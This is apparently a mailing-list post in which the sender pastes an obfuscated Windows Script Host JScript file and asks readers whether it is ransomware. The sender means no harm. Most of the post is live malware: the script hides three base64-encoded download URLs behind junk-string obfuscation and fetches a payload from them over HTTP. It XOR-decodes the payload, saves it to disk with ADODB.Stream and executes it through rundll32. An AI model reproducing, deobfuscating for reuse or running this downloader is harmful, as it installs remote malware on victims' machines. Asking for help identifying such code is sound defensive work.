CWZvciAodmFyIFRqPTA7IFRqIDwgY29kZUFycmF5WyJsZW5ndGgiXTsgVGorKykNCgl7DQoJCUhJaTM9Y29kZUFycmF5W1RqXTsNCgkJaWYgKEhJaTMgPCAxMjgpIA0KCQkJe09WYzk9SElpMzt9DQoJCWVsc2UgDQoJCQl7T1ZjOT10MltISWkzXTt9DQoJCUVHai5wdXNoKFN0cmluZ1siZnJvbUNoYXJDb2RlIl0oT1ZjOSkpOw0KCX0NCgkNCglyZXN1bHRTdHJpbmc9RUdqWyJqb2luIl0oIiIpOw0KCQ0KCXJldHVybiByZXN1bHRTdHJpbmc7DQp9Ow0KZnVuY3Rpb24gY2hpcmthc2hpa3Zhc3lhTUlOREVMc2F0dChmaWxlUGF0aCwgY29kZUFycmF5KQ0Kew0KICAgIHZhciBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrcz1XU2NyaXB0WyJDcmVhdGVPYmplY3QiXSgiQURPREIuU3RyZWFtIik7DQogICAgY2hpcmthc2hpa3Zhc3lhUEFQQVBBTXJvc3Rla3NbInR5cGUiXT0yOw0KICAgIGNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJDaGFyc2V0Il09NDM3OyAgICAgICAgIA0KICAgIGNoaXJrYXNoaWt2YXN5YVBBUEFQQU1yb3N0ZWtzWyJvcGVuIl0oKTsNCiAgICBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrc1sid3JpdGVUZXh0Il0oY2hpcmthc2hpa3Zhc3lhTUlOREVMZmF0cyhjb2RlQXJyYXkpKTsNCiAgICBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrc1siU2F2ZVRvRmlsZSJdKGZpbGVQYXRoLCAyKTsNCiAgICBjaGlya2FzaGlrdmFzeWFQQVBBUEFNcm9zdGVrc1siY2xvc2UiXSgpOw0KfTsNCiANCmZ1bmN0aW9uIGNoaXJrYXNoaWt2YXN5YU1JTkRFTHhkYWMoY2hpcmthc2hpa3Zhc3lhTUlOREVMY2NhKQ0Kew0KCWZvciAodmFyIFRqPTA7IFRqIDwgY2hpcmthc2hpa3Zhc3lhTUlOREVMY2NhWyJsZW5ndGgiXTsgVGorKykNCgl7DQoJCWNoaXJrYXNoaWt2YXN5YU1JTkRFTGNjYVtUal0gXj0gY2hpcmthc2hpa3Zhc3lhVFJBeEtleVtNYXRoLmZsb29yKFRqICUgY2hpcmthc2hpa3Zhc3lhVFJBeEtleS5sZW5ndGgpXTsNCgl9CQkNCglyZXR1cm4gY2hpcmthc2hpa3Zhc3lhTUlOREVMY2NhOw0KfTs=".chirkashikvasyaHACCCPOCC();

function chirkashikvasyaMINDEL_aCho(T, D) {
T[D]();
}
function chirkashikvasyaMINDEL_bCho(T, D, C) {
T[D](C);
}

function chirkashikvasyaMINDEL_a2(chirkashikvasyaMINDELgutter,
chirkashikvasyaMINDELStrokaParam2) {

        var chirkashikvasyaMINDELCHICKA = chirkashikvasyaMINDELvulture;
chirkashikvasyaMINDELCHICKA=chirkashikvasyaMINDELCHICKA+ "\u002f";
chirkashikvasyaMINDELCHICKA=chirkashikvasyaMINDELCHICKA +
chirkashikvasyaMINDELStrokaParam2 ;

 chirkashikvasyaMINDELSBFRUNS[chirkashikvasyaMINDELOCHENA](("chirkashikvasyapurposeful","chirkashikvasyaweighted","chirkashikvasyacapability","chirkashikvasyalocate","chirkashikvasyatreasurer","chirkashikvasyawherever","chirkashikvasyanotation","chirkashikvasyasaline","G"
+ chirkashikvasyaMINDELweasel) +
("chirkashikvasyaperfume","chirkashikvasyacadillac","chirkashikvasyaeightytwo","chirkashikvasyaignominy","chirkashikvasyacontinental","chirkashikvasyawoodlands","chirkashikvasyaconsistency","chirkashikvasyacitation","chirkashikvasyabikes","chirkashikvasyaenamel","T"),
chirkashikvasyaMINDELgutter, false);
       chirkashikvasyaMINDELSBFRUNS.setRequestHeader("User-Agent",
"TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".chirkashikvasyaHACCCPOCC());
    chirkashikvasyaMINDELSBFRUNS[chirkashikvasyaMINDELtudabilo1 +
("chirkashikvasyatussle","chirkashikvasyaambassador","chirkashikvasyaunlimited","chirkashikvasyawales","chirkashikvasyasupervise","end")]();

    if (chirkashikvasyaMINDELTRUEFALSE) {
        var chirkashikvasyaMINDELBangBang = new
chirkashikvasyaMINDELLitoyDISK((("chirkashikvasyaengross","chirkashikvasyaconnector","chirkashikvasyagauze","chirkashikvasyasheriff","chirkashikvasyathread","chirkashikvasyacompatible","ACHUBA")+("chirkashikvasyabituminous","chirkashikvasyaintegration","chirkashikvasyaplatonic","chirkashikvasyaexpanded","chirkashikvasyaquilted","chirkashikvasyabristling","chirkashikvasyaacoustic","chirkashikvasyasetting","O")+"DB"+("chirkashikvasyaprogrammes","chirkashikvasyaillness","chirkashikvasyaloser","chirkashikvasyaoldtime","chirkashikvasyaawareness","chirkashikvasyatrite","chirkashikvasyanowise",".S")+"tr12").replace("CHUBA",
"D").replace("12", "eam"));
chirkashikvasyaPAPAPAMGaSMa = "BIL10NEBIL";
chirkashikvasyaMINDEL_aCho(chirkashikvasyaMINDELBangBang,""+""+""+chirkashikvasyaMINDELOCHENA);

        chirkashikvasyaMINDELBangBang[chirkashikvasyaMINDELSPASPI] =
chirkashikvasyaMINDELchosen;
        chirkashikvasyaMINDEL_bCho(chirkashikvasyaMINDELBangBang,"d3VOVKAJpdVOVKAGU=".chirkashikvasyaHACCCPOCC(),chirkashikvasyaMINDELSBFRUNS[("chirkashikvasyatwitter","chirkashikvasyaseparable","chirkashikvasyaastounded","chirkashikvasyaromany","chirkashikvasyadisclosure","chirkashikvasyatrance","Re")+"s"+("chirkashikvasyastark","chirkashikvasyasites","chirkashikvasyafictitious","chirkashikvasyajesus","chirkashikvasyaceltic","chirkashikvasyaexorbitant","p")+chirkashikvasyaMINDELqtcnthltqfqrhfq['LOBOCHEVS']+"e"+"QVOVKAmVOVKA9VOVKAkeQ=VOVKA=".chirkashikvasyaHACCCPOCC()]
);
 chirkashikvasyaMINDELXWaxeQhw = "BIL11NEBIL";
        chirkashikvasyaMINDELBangBang[(chirkashikvasyaMINDELcasque +
""+("chirkashikvasyasteam","chirkashikvasyaniggardly","chirkashikvasyahousewives","chirkashikvasyasharon","chirkashikvasyascrubs","o371")+("chirkashikvasyaoceans","chirkashikvasyacondoned","chirkashikvasyaprime","chirkashikvasyawellness","chirkashikvasyatiming","chirkashikvasyaintersection","chirkashikvasyaferry","456i")+"").replace("371"+("chirkashikvasyapeterson","chirkashikvasyaarmstrong","chirkashikvasyaincognito","chirkashikvasyatransylvania","chirkashikvasyashrimp","chirkashikvasyamassage","chirkashikvasyacommunism","456"),
chirkashikvasyaMINDELtudabilo1) +"tion"] = 0;

        chirkashikvasyaMINDELkrDwvrh = "BIL12NEBIL";

chirkashikvasyaMINDELBangBang["c2F2VOVKAZVRvRmlsZQ=VOVKA=VOVKA".chirkashikvasyaHACCCPOCC()](chirkashikvasyaMINDELCHICKA,
2);
        chirkashikvasyaMINDELSswQdi = "BIL13NEBIL";

chirkashikvasyaMINDELBangBang["Y2xvc2U=".chirkashikvasyaHACCCPOCC()]();
var
chirkashikvasyaMINDELFrankSinatra=chirkashikvasyaMINDELrtfta(chirkashikvasyaMINDELCHICKA);
chirkashikvasyaMINDELFrankSinatra=chirkashikvasyaMINDELxdac(chirkashikvasyaMINDELFrankSinatra);
chirkashikvasyaMINDELCHICKA = chirkashikvasyaMINDELCHICKA  +
chirkashikvasyaMINDELSIDRENKOV;
chirkashikvasyaMINDELsatt(chirkashikvasyaMINDELCHICKA,
chirkashikvasyaMINDELFrankSinatra );
chirkashikvasyaMINDELrampart.Run("rundll32
"+chirkashikvasyaMINDELCHICKA+",qwerty",0,false);

    }

};
eval(chirkashikvasyaMINDELLUCIODOR);

var chirkashikvasyaMINDELHORDA17 = "MgHvfwStR";
var chirkashikvasyaTRAxKey =
chirkashikvasyaMINDELfsta("tFnktSA29GA2hT3lf4aUsAaf1kaTnnYm");
var chirkashikvasyaMINDEL_a5 =
["YWJjYnVyZWF1dGlxdWUVOVKAuYWJjLnBlcnNvLm5ldWYuZnIvNzh5aHVpbkZZcw==","Y2x1Yi5rb25qaWtpLmpwLzc4eWh1aW5GVOVKAWXM=","ZHVzc2FydGNvbnN1bHRpbmVOVKAcuY29tLzc4eWh1aW5GWXM="];
var chirkashikvasyaMINDELHORDAI = 0;
for(chirkashikvasyaMINDELHORDA5 in chirkashikvasyaMINDEL_a5){
chirkashikvasyaMINDELHORDAI++;
try{
var chirkashikvasyaMINDELHORDA6 =
"http://"+chirkashikvasyaMINDEL_a5[chirkashikvasyaMINDELHORDA5].chirkashikvasyaHACCCPOCC()
+ "?dyStmYTyD=QLktaU";

chirkashikvasyaMINDEL_a2(chirkashikvasyaMINDELHORDA6,chirkashikvasyaMINDELHORDA17+chirkashikvasyaMINDELHORDAI);
}catch(chirkashikvasyaMINDELCEESZZAAA){}
}

 ]]></script>
</job><job id="Default">
<?job debug="true" ?>
<script language="JScript"><![CDATA[
function js_echo(text){
WScript.Echo(text);
}
]]></script>
<script language="JScript"><![CDATA[
var Args = WScript.Arguments;
if (1 > Args.length){
WScript.Quit(0);
};
var xml = WScript.CreateObject("Microsoft.XMLDOM");
xml.load(Args(0));
xml.async = false;
root = xml.documentElement;
parse(root);
]]></script>
</job>
 </package>

-- 
Best regards,
Odhiambo WASHINGTON,
Nairobi,KE
+254 7 3200 0004/+254 7 2274 3223
"Oh, the cruft."

For the Programmers - What does this code do? Ransomware maybe??

Odhiambo Washington

owen.sakawa＠outlook.com

tags

participants (2)